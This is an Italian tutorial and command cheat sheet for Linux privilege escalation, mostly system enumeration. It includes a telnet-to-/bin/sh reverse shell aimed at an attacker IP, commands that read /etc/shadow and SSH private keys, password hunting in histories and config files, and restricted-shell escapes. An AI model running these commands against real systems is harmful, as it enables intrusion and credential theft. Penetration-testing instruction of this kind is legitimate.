Iniziamo col dire che il privilege escalation in linux, non ha delle regole specifiche. Non c’è una risposta magica a tutto.
Il privilege escalation in linux inizia con lungo lavoro di ricerca ed enumerazione continua. Collezionare quanti più dati possibili sulla macchina può “illuminarci” e mostrarci la via, si sa il diavolo sta nei dettagli, lava le pentole ma non i coperchi.

I comandi che riportiamo sotto, potrebbero non funzionare su tutti i sistemi Linux, quindi sta un pò a voi il lavoro di “conversione”, se così vogliamo chiamarlo.

I passi principali sono:

Collezionare – Enumerare, raccogliere, sempre e solo raccogliere!
Processare – Analizzare i dati, catalogare e impostare delle priorità.
Cercare – Saper cosa cercare, e trovare l’exploit giusto.
Adattare – Saper adattare l’exploit, non c’è un exploit definitivo per TUTTI i sistemi.
Provare – Preparatevi ad una miriade di tentativi ed errori.

Sistema Operativo

Qual è il tipo di distribuzione, quale versione?


cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release # Basati su Debian
cat /etc/redhat-release # Basati su Redhat

Qual è la versione del kernel? è 64bit?


cat /proc/version
uname -a
uname -mrs
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz-

Cosa possiamo carpire dalle variabili d’ambiente?


cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set

C’è una stampante collegata?


lpstat -a

Applicazioni e servizi

Quali servizi stanno girando? e con quali permessi?


ps aux
ps -ef
top
cat /etc/services

Quali servizi stanno girando come root? Tra questi servizi c’è ne uno vulnerabile? (sempre meglio fare un doppio controllo!)


ps aux | grep root
ps -ef | grep root

Quali applicazioni sono installate? Che versione sono? Sono in esecuzione?


ls -alh /usr/bin/
ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archivesO
ls -alh /var/cache/yum/

Alcune impostazioni dei servizi son malconfigurate? C’è qualche plugin vulnerabile connesso?


cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.*r.*/

Quali cronjob son presenti nel sistema?


crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root

E’ presente nel sistema qualche file con username e password in chiaro?


grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" # Joomla

Comunicazione e Networking

Che NIC possiede il sistema? E’ connesso ad altre reti?


/sbin/ifconfig -a
cat /etc/network/interfaces
cat /etc/sysconfig/network

Quali sono le configurazioni di rete? Cosa possiamo trovare su quel network? DHCP Server, DNS Server, Gateway?


cat /etc/resolv.conf
cat /etc/sysconfig/network
cat /etc/networks
iptables -L
hostname
dnsdomainname

Quali altri host ed utenti stanno comunicando con il sistema?


lsof -i
lsof -i :80
grep 80 /etc/services
netstat -antup
netstat -antpx
netstat -tulpn
chkconfig --list
chkconfig --list | grep 3:on
last
w

E’ possibile fare packet sniffing in tempo reale? Cosa possiamo vedere?


tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.2.2.222 21 # tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]

Abbiamo una shell? possiamo interagire col sistema?


nc -lvp 4444 # Attacker. Input (Commands)
nc -lvp 4445 # Attacker. Ouput (Results)
telnet [atackers ip] 44444 | /bin/sh | [local ip] 44445 # On the targets system. Use the attackers IP!

E’ possibile fare port forwarding? Reindirizzare e interagire col traffico?


FPipe.exe -l 80 -r 80 -s 80 192.168.1.7 # FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP]

SSH:


ssh -L 8080:127.0.0.1:80 [email protected] # Local Port
ssh -R 8080:127.0.0.1:80 [email protected] # Remote Port

E’ possibile fare tunnelling? Inviare comandi localmente e in remoto?


ssh -D 127.0.0.1:9050 -N [username]@[ip]
proxychains ifconfig

Informazioni confidenziali e utenti

Chi siamo noi? Chi altro è loggato sul sistema? Chi era precedentemente loggato? Chi è in grado di fare cosa?


id
who
w
last
cat /etc/passwd | cut -d: # List of users
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # List of super users
awk -F: '($3 == "0") {print}' /etc/passwd # List of super users
cat /etc/sudoers
sudo -l

Che file riservati riusciamo a recuperare?


cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -alh /var/mail/

Qualcosa di interessante nelle directory home? (se l’accesso è consentito)


ls -ahlR /root/
ls -ahlR /home/

Son presenti password negli script, nei database o nei file di configurazione? (path standard)


cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg

Cosa ha fatto l’utente con questi servizi? cosa ha modificato? c’è qualche password in chiaro?


cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history

Che informazioni sull’utente si possono trovare?


cat ~/.bashrc
cat ~/.profile
cat /var/mail/root
cat /var/spool/mail/root

Possiamo trovare informazioni sulla chiave privata?


cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key

File Systems

Quali file di configurazione possono essere scritti in /etc/ ? possiamo riconfigurare un servizio?


ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null # Anyone
ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null # Owner
ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null # Group
ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null # Other

find /etc/ -readable -type f 2>/dev/null # Anyone
find /etc/ -readable -type f -maxdepth 1 2>/dev/null # Anyone

Cosa troviamo in /var/ ?


ls -alh /var/log
ls -alh /var/mail
ls -alh /var/spool
ls -alh /var/spool/lpd
ls -alh /var/lib/pgsql
ls -alh /var/lib/mysql
cat /var/lib/dhcp3/dhclient.leases

C’è qualche file nascosto sul web server? qualche file di configurazione per l’accesso al database?


ls -alhR /var/www/
ls -alhR /srv/www/htdocs/
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/
ls -alhR /var/www/html/

Se i comandi sono limitati, riusciamo a evadere dalla “prigione”?


python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')
/bin/sh -i

Come sono montati i File System?


mount
df -h

Ci sono File System non montati?


cat /etc/fstab

In quali directory possiamo scrivere o eseguire file?


find / -writable -type d 2>/dev/null # cartelle in cui possiamo scrivere
find / -perm -222 -type d 2>/dev/null # cartelle in cui possiamo scrivere
find / -perm -o w -type d 2>/dev/null # cartelle in cui possiamo scrivere

find / -perm -o x -type d 2>/dev/null # cartelle in cui possiamo eseguire

find / \( -perm -o w -perm -o x \) -type d 2>/dev/null # cartelle in cui possiamo scrivere ed eseguire

Preparazione e Ricerca dell’exploit

Che linguaggi di programmazione e strumenti sono installati sulla macchina?


find / -name perl*
find / -name python*
find / -name gcc*
find / -name cc

Come possiamo caricare i file?


find / -name wget
find / -name nc*
find / -name netcat*
find / -name tftp*
find / -name ftp

Trovare l’exploit adatto:

http://www.exploit-db.com
http://metasploit.com/modules/

Conclusione

Come visto, esistono molti modi per ottenere informazioni da un sistema. Per farlo in rete esistono anche dei tool automatici, che senza gli adeguati privilegi all’interno del sistema, non potete nemmeno caricare ed eseguire. Le procedure manuali danno sempre più soddisfazione. Questa è solo una parte di una miriade di comandi che possiamo dare su un sistema linux. Sta a voi saper giocare le altre carte.